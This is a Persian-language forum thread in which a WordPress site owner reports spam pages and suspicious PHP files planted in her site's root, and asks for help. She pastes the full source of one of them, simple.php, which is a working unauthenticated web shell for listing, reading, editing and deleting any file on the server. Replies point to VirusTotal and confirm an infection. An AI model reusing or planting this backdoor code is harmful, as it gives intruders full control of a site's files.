# فایل های مشکوک nf\_tracking.php - db.php - curl.php - simple.php

**URL:** <https://forums.7ho.st/t/%D9%81%D8%A7%DB%8C%D9%84-%D9%87%D8%A7%DB%8C-%D9%85%D8%B4%DA%A9%D9%88%DA%A9-nftrackingphp-dbphp-curlphp-simplephp/9097>\
**Category:** وردپرس\
**Tags:** وردپرس\
**Created:** [می 5، 2023، 11:53ق.ظ UTC](https://forums.7ho.st/t/%D9%81%D8%A7%DB%8C%D9%84-%D9%87%D8%A7%DB%8C-%D9%85%D8%B4%DA%A9%D9%88%DA%A9-nftrackingphp-dbphp-curlphp-simplephp/9097 "2023-05-05T11:53:36Z")\
**Posts on this page:** 4\
**Page:** 1

<div class="post-metadata">

**Author:** ![Zahra\_Alizadeh1](https://forums.7ho.st/user_avatar/forums.7ho.st/zahra_alizadeh1/32/8140_2.png) [@Zahra\_Alizadeh1](https://forums.7ho.st/u/Zahra_Alizadeh1)\
**Post date:** [می 5، 2023، 11:53ق.ظ UTC](https://forums.7ho.st/t/%D9%81%D8%A7%DB%8C%D9%84-%D9%87%D8%A7%DB%8C-%D9%85%D8%B4%DA%A9%D9%88%DA%A9-nftrackingphp-dbphp-curlphp-simplephp/9097/1 "2023-05-05T11:53:36Z")

</div>

سلام دوستان از سایت ما یه سری صفحات عجیب توی گوگل ایندکس شده  
من یسری فایل مشکوک پیدا کردم توی ریشه اصلی سایت nf\_tracking.php - db.php - curl.php - simple.php  
چکار کنم این مشکل حل بشه؟ فعلا پاکشون کردم

فایلا رو در ادامه میزارم لطفاااااا راهنماییم کنین ممنونمممم

 ![1](https://forums.7ho.st/uploads/default/original/2X/4/4a5bfd59d2fbf81e81470b80dc98ebd1e6f88d8f.png)

---

<div class="post-metadata">

**Author:** ![Zahra\_Alizadeh1](https://forums.7ho.st/user_avatar/forums.7ho.st/zahra_alizadeh1/32/8140_2.png) [@Zahra\_Alizadeh1](https://forums.7ho.st/u/Zahra_Alizadeh1)\
**Post date:** [می 5، 2023، 11:54ق.ظ UTC](https://forums.7ho.st/t/%D9%81%D8%A7%DB%8C%D9%84-%D9%87%D8%A7%DB%8C-%D9%85%D8%B4%DA%A9%D9%88%DA%A9-nftrackingphp-dbphp-curlphp-simplephp/9097/2 "2023-05-05T11:54:10Z")

</div>

مثلا فایل simple.php

\<?php $action = isset($\_GET['action']) ? $\_GET['action'] : ''; $path = isset($\_REQUEST['path']) ? $\_REQUEST['path'] : ''; $title = $content = ''; switch($action){ case 'batchDel': $title = '删除选中文件'; $content = ''; if(isset($\_POST['files'])){ foreach($\_POST['files'] as $v){ if(file\_exists($v)){ if(unlink($v)){ $content .= ''; }else{ $content .= ''; } }else{ $content .= ''; } } $content .= '

| 文件名 | 操作 |
| '.$v.' | 删除成功 |
| '.$v.' | 删除失败 |
| '.$v.' | 删除成功 |

'; } break; case 'del': $title = '删除文件'; $content = '

| 文件名 | 操作 |
| '.$path.' | '; if($path){ if(file\_exists($path)){ if(unlink($path)){ $content .= 'Success'; }else{ $content .= 'Fail  
'; } }else{ $content .= 'Success'; } } $content .= ' |

'; break; case 'edit': $title = '查看/编辑 代码'; $code = isset($\_POST['code']) ? $\_POST['code'] : ''; if($code){ if(file\_exists($path)){ $result = file\_put\_contents($path, $code); if($result){ $content = '编辑成功'; }else{ chmod($path, 0644); $temp = file\_put\_contents($path, $code); if($temp){ $content = '修改权限后，编辑成功。'; }else{ $content = '修改权限后，编辑也失败。'; } } }else{ $content = '文件不存在，编辑失败。'; } }else{ $content = '
内容
'.htmlspecialchars(file\_get\_contents(htmlspecialchars($path))).'

'; } break; default: $root = isset($\_SERVER['DOCUMENT\_ROOT']) ? $\_SERVER['DOCUMENT\_ROOT'] : ''; $dir = \_\_DIR\_\_; if($path){$dir = $path;} $title = $dir; $content = ''; foreach(hardScandir($dir) as $value){ $fullPath = str\_replace('//', '/', $dir."/".$value); if($value != '.' && $value != '..' && is\_dir($fullPath)){ $content .= ''; } } foreach(hardScandir($dir) as $value){ $fullPath = str\_replace('//', '/', $dir."/".$value); if($value != '.' && $value != '..' && !is\_dir($fullPath)){ $content .= ''; } } $content .= '

| | 文件名 | 权限 | 创建时间 | 编辑时间 | 访问时间 | 大小 | 操作 |
| | '.$fullPath.' | '.substr(sprintf('%o', fileperms($fullPath)), -4).' | '.date("Y-m-d H:i:s", filectime($fullPath)).' | '.date("Y-m-d H:i:s", filemtime($fullPath)).' | '.date("Y-m-d H:i:s", fileatime($fullPath)).' | 文件夹 | |
| | '.$fullPath.' | '.substr(sprintf('%o', fileperms($fullPath)), -4).' | '.date("Y-m-d H:i:s", filectime($fullPath)).' | '.date("Y-m-d H:i:s", filemtime($fullPath)).' | '.date("Y-m-d H:i:s", fileatime($fullPath)).' | '.round(filesize($fullPath) / 1024, 2).' Kb | 删除 |
| 全选 |

'; break; } function hardScandir($dir){ if(function\_exists("scandir")){ return scandir($dir); }else{ $dh = opendir($dir); while(false !== ($filename = readdir($dh))) $files[] = $filename; return $files; } } function escape($uri){ return str\_replace('%2F', '/', rawurlencode($uri)); }?\>

Simple File Manage Design by index.php body{font-size:16px;color:#000;font-sans-serif: system-ui,-apple-system,"Segoe UI",Roboto,"Helvetica Neue","Noto Sans","Liberation Sans",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";}a{text-decoration:none;}\*{padding:0;margin:0;list-style:none;}.fa{padding-right:10px;}.submit{background-color:#1e9fff;vertical-align:middle; height: 38px;line-height: 38px;text-align:center;padding:0 18px;color:#FFF;border-radius:5px;cursor: pointer;}.border-none{border:none !important;} .container{width: 95%;margin: 0 auto;} fieldset{display: block;margin-inline-start: 2px;margin-inline-end: 2px;padding-block-start: 0.35em;padding-inline-start: 0.75em;padding-inline-end: 0.75em;padding-block-end: 0.625em;min-inline-size: min-content;border-width: 2px;border-style: groove;border-color: rgb(192, 192, 192);border-image: initial;} legend{display:block;padding-inline-start: 2px;padding-inline-end: 2px;border-width: initial;border-style: none;border-color: initial;border-image: initial;margin-left: 20px; padding:0 10px;font-size:20px;font-weight:300;} .field-title{margin:27px 0 20px;border-width:0;border-top-width:1px;} .table{border-collapse:collapse;border-spacing:0;overflow:scroll;width:100%;} .table td{word-break:break-all;max-width:300px;background-color:#FFF;} .table th, .table td{border: 1px solid #ddd;padding:8px;} .table tbody \> tr:hover{background-color:#ccffcc;} .table tbody \> tr:hover td{background:none;} .form-item{margin-bottom:15px;clear:both;border:1px solid #eee;} .form-label{position:relative;float:left;display:block;padding:9px 15px;width:80px;font-weight:400;line-height:20px;text-align:right;background-color:#fafafa;} .form-text .form-label{float: none;width: 100%;border-radius: 2px;box-sizing: border-box;text-align: left;} .input-block{position:relative;margin-left:110px;min-height:36px;} .form-text .input-block{margin: 0;left: 0;top: -1px;} .form-input{display:block;padding-left:10px;width:50%;height:38px;line-height:1.3;line-height:38px\9;border:none;} .form-text .form-textarea{position:relative;width: 90%;min-height: 100px;height:auto;line-height:20px;border-radius: 0 0 2px 2px;padding: 6px 10px;resize: vertical;border: none;} .form-radio{margin:12px 0 0 12px;}
 \<?php echo $title;?\> \<?php echo $content;?\>

---

<div class="post-metadata">

**Author:** ![Sohrab\_Ezady](https://forums.7ho.st/user_avatar/forums.7ho.st/sohrab_ezady/32/8062_2.png) [@Sohrab\_Ezady](https://forums.7ho.st/u/Sohrab_Ezady)\
**Post date:** [سپتامبر 19، 2023، 3:53ق.ظ UTC](https://forums.7ho.st/t/%D9%81%D8%A7%DB%8C%D9%84-%D9%87%D8%A7%DB%8C-%D9%85%D8%B4%DA%A9%D9%88%DA%A9-nftrackingphp-dbphp-curlphp-simplephp/9097/3 "2023-09-19T03:53:30Z")

</div>

سلام  
اگه هر فایل مشکوکی که دیدید تو این سایت آپ لود کن خودش بهت میگه

> **[VirusTotal](https://www.virustotal.com/gui/home)**
>
> VirusTotal

---

<div class="post-metadata">

**Author:** ![Nima.asadi](https://forums.7ho.st/user_avatar/forums.7ho.st/nima.asadi/32/8493_2.png) [@Nima.asadi](https://forums.7ho.st/u/Nima.asadi)\
**Post date:** [سپتامبر 20، 2023، 5:07ق.ظ UTC](https://forums.7ho.st/t/%D9%81%D8%A7%DB%8C%D9%84-%D9%87%D8%A7%DB%8C-%D9%85%D8%B4%DA%A9%D9%88%DA%A9-nftrackingphp-dbphp-curlphp-simplephp/9097/4 "2023-09-20T05:07:22Z")

</div>

درود.  
وب سایت شما دارای آلودگی می باشد